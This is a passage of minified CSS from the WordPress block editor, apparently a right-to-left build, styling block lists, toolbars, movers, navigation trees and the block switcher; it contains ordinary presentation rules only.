.is-block-moving-mode.can-insert-moving-block.block-editor-block-list__block.is-selected:before{border-color:#007cba;border-color:var(--wp-admin-theme-color)}.is-block-moving-mode.block-editor-block-list__block-selection-button{opacity:0;font-size:1px;height:1px;padding:0}.block-editor-block-list__layout .block-editor-block-list__block{position:relative;overflow-wrap:break-word}.block-editor-block-list__layout .block-editor-block-list__block .reusable-block-edit-panel *{z-index:1}.block-editor-block-list__layout .block-editor-block-list__block .components-placeholder .components-with-notices-ui{margin:-10px 0 12px}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui{margin:0 0 12px;width:100%}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice{margin-right:0;margin-left:0}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice .components-notice__content{font-size:13px}.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus{outline:none}.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus:after{position:absolute;z-index:1;pointer-events:none;content:"";top:1px;bottom:1px;right:1px;left:1px;box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);border-radius:1px}.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 2px #fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}.block-editor-block-list__layout .block-editor-block-list__block.is-outline-mode.is-selected:not(.is-typing):after{box-shadow:0 0 0 1px #1e1e1e;top:1px;right:1px;left:1px;bottom:1px;border-radius:1px}.block-editor-block-list__layout .block-editor-block-list__block.is-outline-mode.is-selected:not(.is-typing):focus:after{box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-block-list__layout .block-editor-block-list__block.is-outline-mode.is-hovered:not(.is-typing){cursor:default}.block-editor-block-list__layout .block-editor-block-list__block.is-outline-mode.is-hovered:not(.is-typing):after{top:1px;right:1px;left:1px;bottom:1px;box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);border-radius:1px}.block-editor-block-list__layout .block-editor-block-list__block.is-focus-mode:not(.is-multi-selected){opacity:.5;transition:opacity .1s linear}@media (prefers-reduced-motion:reduce){.block-editor-block-list__layout .block-editor-block-list__block.is-focus-mode:not(.is-multi-selected){transition-duration:0s}}.block-editor-block-list__layout .block-editor-block-list__block.is-focus-mode:not(.is-multi-selected).is-focused,.block-editor-block-list__layout .block-editor-block-list__block.is-focus-mode:not(.is-multi-selected):not(.is-focused) .block-editor-block-list__block{opacity:1}.block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode){opacity:.5;transition:opacity .1s linear}@media (prefers-reduced-motion:reduce){.block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode){transition-duration:0s}}.block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode).has-child-selected,.block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode).is-active-entity,.block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode).is-active-entity .block-editor-block-list__block,.block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode) .is-active-entity .block-editor-block-list__block,.block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode):not(.has-child-selected) .block-editor-block-list__block{opacity:1}.block-editor-block-list__layout .block-editor-block-list__block:after{content:"";pointer-events:none;position:absolute;top:0;left:0;bottom:0;right:0;border-radius:2px;box-shadow:0 0 0 2px transparent;box-shadow:0 0 0 var(--wp-admin-border-width-focus) transparent}.block-editor-block-list__layout .block-editor-block-list__block.has-warning{min-height:48px}.block-editor-block-list__layout .block-editor-block-list__block.has-warning>*{pointer-events:none;-webkit-user-select:none;-ms-user-select:none;user-select:none}.block-editor-block-list__layout .block-editor-block-list__block.has-warning .block-editor-warning{pointer-events:all}.block-editor-block-list__layout .block-editor-block-list__block.has-warning:after{content:"";position:absolute;top:0;left:0;bottom:0;right:0;border-radius:2px;background-color:hsla(0,0%,100%,.4)}.block-editor-block-list__layout .block-editor-block-list__block.has-warning.is-multi-selected:after{background-color:transparent}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay:after{display:none}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay .block-editor-block-list__layout.has-overlay:after{display:block}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable.has-child-selected:after{box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block{cursor:default}.block-editor-block-list__layout .block-editor-block-list__block[data-clear=true]{float:none}.block-editor-block-list__layout .block-editor-block-list__block .block-editor-block-list__layout .block-editor-default-block-appender .block-editor-inserter{right:auto;left:8px}.block-editor-block-list__layout .wp-block{margin-right:auto;margin-left:auto}.wp-block[data-align=left],.wp-block[data-align=right]{width:100%;height:0}.wp-block[data-align=left]:before,.wp-block[data-align=right]:before{content:none}.wp-block[data-align=left]>*,.wp-block[data-align=right]>*{z-index:21}.wp-block[data-align=left]>*{float:left;margin-right:2em}.wp-block[data-align=right]>*{float:right;margin-left:2em}.wp-block[data-align=full],.wp-block[data-align=wide]{clear:both}.block-editor-block-list .block-editor-inserter{margin:8px;cursor:move;cursor:grab}.block-editor-block-list__insertion-point{position:absolute}.block-editor-block-list__insertion-point-indicator{position:absolute;background:#007cba;background:var(--wp-admin-theme-color);animation:block-editor-inserter__toggle__fade-in-animation-delayed .3s ease;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.block-editor-block-list__insertion-point-indicator{animation-duration:1ms}}.block-editor-block-list__insertion-point.is-vertical>.block-editor-block-list__insertion-point-indicator{top:50%;left:0;right:0;height:1px}.block-editor-block-list__insertion-point.is-horizontal>.block-editor-block-list__insertion-point-indicator{top:0;left:0;right:50%;height:100%;width:1px}.block-editor-block-list__insertion-point-inserter{display:none;position:absolute;justify-content:center;top:calc(50% - 12px);right:calc(50% - 12px)}@media (min-width:480px){.block-editor-block-list__insertion-point-inserter{display:flex}}.block-editor-block-list__block-popover-inserter{position:absolute;top:-9999em;margin-bottom:14px}.block-editor-block-list__block-popover-inserter.is-visible{position:static}.block-editor-block-list__block-popover-inserter .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon,.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon{background:#1e1e1e;border-radius:2px;color:#fff;padding:0;min-width:24px;height:24px}.block-editor-block-list__block-popover-inserter .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon:hover{color:#fff;background:#007cba;background:var(--wp-admin-theme-color)}.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon{background:#007cba;background:var(--wp-admin-theme-color)}.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover{background:#1e1e1e}.block-editor-block-list__block-popover-inserter .block-editor-inserter__toggle.components-button,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button{animation:block-editor-inserter__toggle__fade-in-animation-delayed .3s ease;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.block-editor-block-list__block-popover-inserter .block-editor-inserter__toggle.components-button,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button{animation-duration:1ms}}@keyframes block-editor-inserter__toggle__fade-in-animation-delayed{0%{opacity:0}60%{opacity:0}to{opacity:1}}@keyframes block-editor-inserter__toggle__fade-in-animation{0%{opacity:0}to{opacity:1}}.wp-block .block-list-appender .block-editor-inserter__toggle{animation:block-editor-inserter__toggle__fade-in-animation .1s ease;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.wp-block .block-list-appender .block-editor-inserter__toggle{animation-duration:1ms}}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender{display:none}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender .block-editor-inserter__toggle{opacity:0;transform:scale(0)}.block-editor-block-list__block .block-editor-block-list__block-html-textarea{display:block;margin:0;padding:12px;width:100%;border:none;outline:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;resize:none;overflow:hidden;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;line-height:1.5;transition:padding .2s linear}@media (prefers-reduced-motion:reduce){.block-editor-block-list__block .block-editor-block-list__block-html-textarea{transition-duration:0s}}.block-editor-block-list__block .block-editor-block-list__block-html-textarea:focus{box-shadow:inset 0 0 0 2px #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-block-contextual-toolbar{border:1px solid #1e1e1e;border-radius:2px;background-color:#fff}.block-editor-block-contextual-toolbar .block-editor-block-toolbar .components-toolbar,.block-editor-block-contextual-toolbar .block-editor-block-toolbar .components-toolbar-group{border-left-color:#1e1e1e}.block-editor-block-contextual-toolbar .block-editor-block-mover-button{overflow:hidden}.block-editor-block-contextual-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.block-editor-block-mover-button{min-width:24px;width:24px}.block-editor-block-contextual-toolbar .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button:focus:before{right:0!important;min-width:0;width:100%}.block-editor-block-contextual-toolbar .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button.is-up-button svg{top:5px}.block-editor-block-contextual-toolbar .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button.is-down-button svg{bottom:5px}.block-editor-block-list__block-selection-button{display:block;z-index:22}.block-editor-block-list__block-selection-button .components-button{font-size:13px;height:46px;padding:12px 16px;position:relative;top:-1px;box-shadow:0 0 0 1px #1e1e1e;border-radius:1px;background-color:#fff}.block-editor-block-list__block-selection-button .components-button:focus{box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-block-list__block .block-editor-warning{z-index:5;position:relative}.block-editor-block-list__block .block-editor-warning.block-editor-block-list__block-crash-warning{margin-bottom:auto}.block-editor-block-list__insertion-point-popover.is-without-arrow{z-index:28;position:absolute}.block-editor-block-list__insertion-point-popover.is-without-arrow .components-popover__content.components-popover__content{background:none;border:none;box-shadow:none;overflow-y:visible;margin-right:0}@keyframes hide-during-dragging{to{position:fixed;transform:translate(-9999px,9999px)}}.components-popover.block-editor-block-list__block-popover{z-index:31;position:absolute}.components-popover.block-editor-block-list__block-popover .components-popover__content{margin:0!important;min-width:auto;width:-webkit-max-content;width:max-content;background:none;border:none;box-shadow:none;overflow-y:visible;pointer-events:none}.components-popover.block-editor-block-list__block-popover .components-popover__content>*{pointer-events:all}.components-popover.block-editor-block-list__block-popover .components-popover__content .block-editor-block-contextual-toolbar,.components-popover.block-editor-block-list__block-popover .components-popover__content .block-editor-block-list__block-selection-button{margin-bottom:12px}.is-dragging-components-draggable .components-popover.block-editor-block-list__block-popover{opacity:0;animation:hide-during-dragging 1ms linear forwards}.is-dragging-components-draggable .components-tooltip{display:none}.block-editor-block-list__block .block-list-appender{margin:0}.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender{margin:8px 0}.block-editor-block-list__block .block-list-appender .block-list-appender__toggle{padding:0;opacity:1;transform:scale(1);transition:all .1s ease}@media (prefers-reduced-motion:reduce){.block-editor-block-list__block .block-list-appender .block-list-appender__toggle{transition-duration:0s}}.block-list-appender>.block-editor-inserter{display:block}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected):not(.block-editor-block-list__layout) .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle{opacity:0;transform:scale(0)}.block-editor-block-breadcrumb{list-style:none;padding:0;margin:0}.block-editor-block-breadcrumb li{display:inline-block;margin:0}.block-editor-block-breadcrumb li:not(:last-child):after{content:"←"}.block-editor-block-breadcrumb__button.components-button{height:24px;line-height:24px;padding:0;position:relative}.block-editor-block-breadcrumb__button.components-button:hover:not(:disabled){text-decoration:underline;box-shadow:none}.block-editor-block-breadcrumb__button.components-button:focus{box-shadow:none}.block-editor-block-breadcrumb__button.components-button:focus:before{content:"";display:block;position:absolute;border-radius:2px;top:1px;left:1px;bottom:1px;right:1px;box-shadow:inset 0 0 0 2px #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-block-breadcrumb__current{cursor:default}.block-editor-block-breadcrumb__button.components-button,.block-editor-block-breadcrumb__current{color:#1e1e1e;padding:0 8px;font-size:inherit}.block-editor-block-card{display:flex;align-items:flex-start}.block-editor-block-card__icon{border:1px solid #ddd;padding:7px;margin-left:10px;height:36px;width:36px}.block-editor-block-card__content{flex-grow:1}.block-editor-block-card__title{font-weight:500}.block-editor-block-card__title.block-editor-block-card__title{margin:0 0 5px}.block-editor-block-card__description{font-size:13px}.block-editor-block-card .block-editor-block-icon{margin-right:-2px;margin-left:10px;padding:0 3px;width:36px;height:24px}.block-editor-block-compare{overflow:auto;height:auto}@media (min-width:600px){.block-editor-block-compare{max-height:70%}}.block-editor-block-compare__wrapper{display:flex;padding-bottom:16px}.block-editor-block-compare__wrapper>div{display:flex;justify-content:space-between;flex-direction:column;width:50%;padding:0 0 0 16px;min-width:200px}.block-editor-block-compare__wrapper>div button{float:left}.block-editor-block-compare__wrapper .block-editor-block-compare__converted{border-right:1px solid #ddd;padding-right:15px;padding-left:0}.block-editor-block-compare__wrapper .block-editor-block-compare__html{font-family:Menlo,Consolas,monaco,monospace;font-size:12px;color:#1e1e1e;border-bottom:1px solid #ddd;padding-bottom:15px;line-height:1.7}.block-editor-block-compare__wrapper .block-editor-block-compare__html span{background-color:#e6ffed;padding-top:3px;padding-bottom:3px}.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__added{background-color:#acf2bd}.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__removed{background-color:#cc1818}.block-editor-block-compare__wrapper .block-editor-block-compare__preview{padding:16px 0 0}.block-editor-block-compare__wrapper .block-editor-block-compare__preview p{font-size:12px;margin-top:0}.block-editor-block-compare__wrapper .block-editor-block-compare__action{margin-top:16px}.block-editor-block-compare__wrapper .block-editor-block-compare__heading{font-size:1em;font-weight:400;margin:.67em 0}.block-editor-block-draggable-chip-wrapper{position:absolute;top:-24px;right:0}.block-editor-block-draggable-chip{background-color:#1e1e1e;border-radius:2px;border:1px solid #1e1e1e;box-shadow:0 4px 6px rgba(0,0,0,.3);color:#fff;cursor:grabbing;display:inline-flex;height:48px;min-width:72px;padding:0 12px;-webkit-user-select:none;-ms-user-select:none;user-select:none}.block-editor-block-draggable-chip svg{fill:currentColor}.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content{margin:auto}.block-editor-block-draggable-chip .components-flex__item{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.is-dragging{display:none!important}.block-editor-block-mobile-toolbar{display:flex;flex-direction:row;border-left:1px solid #ddd}.block-editor-block-mobile-toolbar .block-editor-block-mover-button{width:36px;height:36px;border-radius:2px;padding:3px;margin:0;justify-content:center;align-items:center}.block-editor-block-mobile-toolbar .block-editor-block-mover-button .dashicon{margin:auto}.block-editor-block-mobile-toolbar .block-editor-block-mover{display:flex;margin-left:auto}.block-editor-block-mobile-toolbar .block-editor-block-mover .block-editor-block-mover-button{float:right}.block-editor-block-mover-button__description{display:none}.block-editor-block-mover-button.has-icon{padding:0}.block-editor-block-mover{display:inline-flex;flex-direction:row}.block-editor-block-mover .block-editor-block-mover__move-button-container,.block-editor-block-mover .components-toolbar{flex:1;flex-direction:row;border-left:none!important}@media (min-width:600px){.block-editor-block-mover .block-editor-block-mover__move-button-container,.block-editor-block-mover .components-toolbar{flex-direction:column}}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container,.block-editor-block-mover.is-horizontal .components-toolbar{flex-direction:row}@media (min-width:600px){.block-editor-block-mover .block-editor-block-mover-button{height:24px;width:42px;padding-left:11px!important;padding-right:6px!important}}@media (min-width:600px){.block-editor-block-mover .block-editor-block-mover-button:before{right:8px!important;left:8px!important}}.block-editor-block-mover .block-editor-block-mover__drag-handle{width:24px;cursor:grab;min-width:24px!important;padding:0!important}.block-editor-block-mover .block-editor-block-mover__drag-handle:focus:before{right:0!important;left:0!important}@media (min-width:600px){.block-editor-block-mover .components-toolbar-group .block-editor-block-mover-button,.block-editor-block-mover .components-toolbar .block-editor-block-mover-button{margin:0 0 0 auto}.block-editor-block-mover .components-toolbar-group .block-editor-block-mover-button.is-up-button:before,.block-editor-block-mover .components-toolbar .block-editor-block-mover-button.is-up-button:before{bottom:0;height:calc(100% - 1px)}.block-editor-block-mover .components-toolbar-group .block-editor-block-mover-button.is-down-button:before,.block-editor-block-mover .components-toolbar .block-editor-block-mover-button.is-down-button:before{top:0;height:calc(100% - 1px)}}.block-editor-block-mover.is-horizontal .block-editor-block-mover-button.has-icon{height:48px;width:24px;padding-right:0;padding-left:0}.block-editor-block-mover.is-horizontal .block-editor-block-mover-button.has-icon:before{top:1px;bottom:1px;min-width:0;width:auto;height:auto}.block-editor-block-mover.is-horizontal .block-editor-block-mover-button.is-up-button.has-icon svg{margin-right:0;margin-left:-8px;margin-bottom:0}.block-editor-block-mover.is-horizontal .block-editor-block-mover-button.is-up-button.has-icon:before{right:0!important;left:0!important}.block-editor-block-mover.is-horizontal .block-editor-block-mover-button.is-down-button.has-icon svg{margin-right:-8px;margin-left:0;margin-top:0}.block-editor-block-mover.is-horizontal .block-editor-block-mover-button.is-down-button.has-icon:before{right:0!important;left:0!important;width:calc(100% + 1px)}.block-editor-block-navigation__label{margin:0 0 12px;color:#757575;text-transform:uppercase;font-size:11px;font-weight:500}.block-editor-block-navigation__container{min-width:280px}.block-editor-block-navigation-tree{width:100%;border-collapse:collapse;padding:0;margin:0}.block-editor-block-navigation-leaf{position:relative}.block-editor-block-navigation-leaf.is-selected .block-editor-block-navigation-block-contents,.block-editor-block-navigation-leaf.is-selected:focus .block-editor-block-navigation-block-contents,.block-editor-block-navigation-leaf.is-selected:hover .block-editor-block-navigation-block-contents{background:#1e1e1e;color:#fff}.block-editor-block-navigation-leaf.is-dragging{display:none}.block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents{display:flex;align-items:center;width:100%;height:auto;padding:6px;text-align:right;color:#1e1e1e;border-radius:2px;position:relative;white-space:nowrap}.block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents:hover{background:#f0f0f0}.block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents:focus{z-index:1}.block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents.is-dropping-before:before{content:"";position:absolute;pointer-events:none;transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear;top:-2px;left:0;right:0;border-top:4px solid #007cba;border-top:4px solid var(--wp-admin-theme-color)}.block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents.is-dropping-after:before{right:0}.block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents.is-dropping-after:before,.block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents.is-dropping-to-inner-blocks:before{content:"";position:absolute;pointer-events:none;transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear;bottom:-2px;left:0;border-bottom:4px solid #007cba;border-bottom:4px solid var(--wp-admin-theme-color)}.block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents.is-dropping-to-inner-blocks:before{right:24px}.components-modal__content .block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents{padding-right:0;padding-left:0}.block-editor-block-navigation-leaf.is-visible .block-editor-block-navigation-block-contents{opacity:1;animation:edit-post__fade-in-animation .2s ease-out 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.block-editor-block-navigation-leaf.is-visible .block-editor-block-navigation-block-contents{animation-duration:1ms}}.block-editor-block-navigation-leaf .block-editor-block-icon{align-self:flex-start;margin-left:6px}.block-editor-block-navigation-leaf .block-editor-block-navigation-block__contents-cell,.block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell,.block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell{padding-top:0;padding-bottom:0}.block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell,.block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell{line-height:0;width:36px;opacity:0;vertical-align:top}@media (prefers-reduced-motion:reduce){.block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell,.block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell{transition-duration:0s}}.block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell.is-visible,.block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell.is-visible{opacity:1;animation:edit-post__fade-in-animation .2s ease-out 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell.is-visible,.block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell.is-visible{animation-duration:1ms}}.block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell,.block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell .components-button.has-icon,.block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell,.block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell .components-button.has-icon{width:24px;min-width:24px;padding:0}.block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell{padding-top:8px}.block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell-alignment-wrapper{display:flex;height:100%;flex-direction:column;align-items:center}.block-editor-block-navigation-leaf .block-editor-block-mover-button{position:relative;width:36px;height:24px}.block-editor-block-navigation-leaf .block-editor-block-mover-button svg{position:relative;height:24px}.block-editor-block-navigation-leaf .block-editor-block-mover-button.is-up-button{align-items:flex-end}.block-editor-block-navigation-leaf .block-editor-block-mover-button.is-up-button svg{bottom:-4px}.block-editor-block-navigation-leaf .block-editor-block-mover-button.is-down-button{align-items:flex-start}.block-editor-block-navigation-leaf .block-editor-block-mover-button.is-down-button svg{top:-4px}.block-editor-block-navigation-leaf .block-editor-block-mover-button:focus,.block-editor-block-navigation-leaf .block-editor-block-mover-button:focus:enabled{box-shadow:none;outline:none}.block-editor-block-navigation-leaf .block-editor-block-mover-button:focus:before{box-shadow:inset 0 0 0 2px #007cba,inset 0 0 0 4px #fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 4px #fff;outline:2px solid transparent}.block-editor-block-navigation-leaf .block-editor-block-mover-button:before{content:"";position:absolute;display:block;border-radius:2px;height:16px;min-width:100%;right:0;left:0;animation:components-button__appear-animation .1s ease;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.block-editor-block-navigation-leaf .block-editor-block-mover-button:before{animation-duration:1ms}}.block-editor-block-navigation-leaf .block-editor-inserter__toggle{background:#1e1e1e;color:#fff;height:24px;margin:6px 1px 6px 6px;min-width:24px}.block-editor-block-navigation-leaf .block-editor-inserter__toggle:active{color:#fff}.block-editor-block-navigation-appender__description,.block-editor-block-navigation-block-select-button__description,.block-editor-block-navigation-block-slot__description{display:none}.block-editor-block-navigation-appender__cell .block-editor-block-navigation-appender__container,.block-editor-block-navigation-appender__cell .block-editor-block-navigation-block__contents-container,.block-editor-block-navigation-block__contents-cell .block-editor-block-navigation-appender__container,.block-editor-block-navigation-block__contents-cell .block-editor-block-navigation-block__contents-container{display:flex}.block-editor-block-navigator-indentation{flex-shrink:0;width:18px}.block-editor-block-parent-selector{background:#fff;border-radius:2px}.block-editor-block-parent-selector .block-editor-block-parent-selector__button{width:48px;height:48px;border:1px solid #1e1e1e;border-radius:2px}.block-editor-block-patterns-list__item{border-radius:2px;cursor:pointer;margin-top:16px;transition:all .05s ease-in-out;position:relative;border:1px solid transparent}.block-editor-block-patterns-list__item:hover{border:1px solid #007cba;border:1px solid var(--wp-admin-theme-color)}.block-editor-block-patterns-list__item:focus{box-shadow:inset 0 0 0 1px #fff,0 0 0 2px #007cba;box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.block-editor-block-patterns-list__item.is-placeholder{min-height:100px}.block-editor-block-patterns-list__item[draggable=true] .block-editor-block-preview__container{cursor:grab}.block-editor-block-patterns-list__item-title{padding:4px;font-size:12px;text-align:center}.block-editor-block-preview__container{position:relative;width:100%;overflow:hidden}.block-editor-block-preview__container.editor-styles-wrapper{padding:0;margin:0}.block-editor-block-preview__container .block-editor-block-preview__content{position:absolute;top:0;right:0;transform-origin:top right;text-align:initial;margin:0;overflow:visible;min-height:auto}.block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-drop-zone,.block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__insertion-point,.block-editor-block-preview__container .block-editor-block-preview__content .block-list-appender,.block-editor-block-preview__container .block-editor-block-preview__content .reusable-block-indicator{display:none}.block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__layout.is-root-container{padding-right:0;padding-left:0}.block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__layout.is-root-container>.wp-block[data-align=full]{margin-right:0;margin-left:0}.block-editor-block-settings-menu__popover .components-dropdown-menu__menu{padding:0}.block-editor-block-styles{display:flex;flex-wrap:wrap;justify-content:space-between}.block-editor-block-styles__item{width:calc(50% - 4px);margin:4px 0;flex-shrink:0;cursor:pointer;overflow:hidden;border-radius:2px;padding:6px;display:flex;flex-direction:column}.block-editor-block-styles__item:focus{box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.block-editor-block-styles__item:hover .block-editor-block-styles__item-preview{border-color:#007cba;border-color:var(--wp-admin-theme-color)}.block-editor-block-styles__item.is-active .block-editor-block-styles__item-label{font-weight:700}.block-editor-block-styles__item.is-active .block-editor-block-styles__item-preview{margin:0;border:2px solid #1e1e1e}.block-editor-block-styles__item-preview{outline:1px solid transparent;padding:0;margin:2px;border-radius:2px;display:flex;overflow:hidden;background:#fff;align-items:center;flex-grow:1;min-height:80px;max-height:160px}.block-editor-block-switcher__styles__menugroup{position:relative}.block-editor-block-styles__item-label{text-align:center;padding:4px 0}.block-editor-block-switcher,.block-editor-block-switcher__no-switcher-icon,.block-editor-block-switcher__toggle{position:relative}.components-button.block-editor-block-switcher__no-switcher-icon,.components-button.block-editor-block-switcher__toggle{margin:0;display:block;height:48px}.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.components-button.block-editor-block-switcher__toggle .block-editor-block-icon{margin:auto}.block-editor-block-switcher__toggle-text{margin-right:8px}.block-editor-block-switcher__popover{margin-right:6px}.components-button.block-editor-block-switcher__no-switcher-icon{width:48px}.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-blocks-icon{margin-left:auto;margin-right:auto}.components-button.block-editor-block-switcher__no-switcher-icon:disabled{opacity:1}.components-button.block-editor-block-switcher__no-switcher-icon:disabled,.components-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors{color:#1e1e1e!important}.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon .block-editor-block-icon,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__toggle.has-icon.has-icon .block-editor-block-icon,.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon .block-editor-block-icon,.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__toggle.has-icon.has-icon .block-editor-block-icon{height:100%;position:relative;margin:0 auto;display:flex;align-items:center}.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon:before,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__toggle.has-icon.has-icon:before,.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon:before,.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__toggle.has-icon.has-icon:before{top:8px;left:8px;bottom:8px;right:8px}.components-popover.block-editor-block-switcher__popover .components-popover__content{min-width:300px}.components-popover.block-editor-block-switcher__popover .components-popover__content>div{min-width:auto;display:flex;background:#fff;padding:0}.components-popover.block-editor-block-switcher__popover .components-popover__content>div .components-menu-group{padding:16px;margin:0}.block-editor-block-switcher__popover .components-popover__content .block-editor-block-styles{margin:0 -3px}.block-editor-block-switcher__popover .components-popover__content .components-panel__body{border:0;position:relative;z-index:1}.block-editor-block-switcher__popover .components-popover__content .components-panel__body+.components-panel__body{border-top:1px solid #e0e0e0}.block-editor-block-switcher__popover__preview__parent .block-editor-block-switcher__popover__preview__container{position:absolute;top:-12px;right:calc(100% + 32px)}.block-editor-block-switcher__preview__popover{display:none}.block-editor-block-switcher__preview__popover.components-popover{margin-right:4px;margin-top:11px}@media (min-width:782px){.block-editor-block-switcher__preview__popover{display:block}}.block-editor-block-switcher__preview__popover 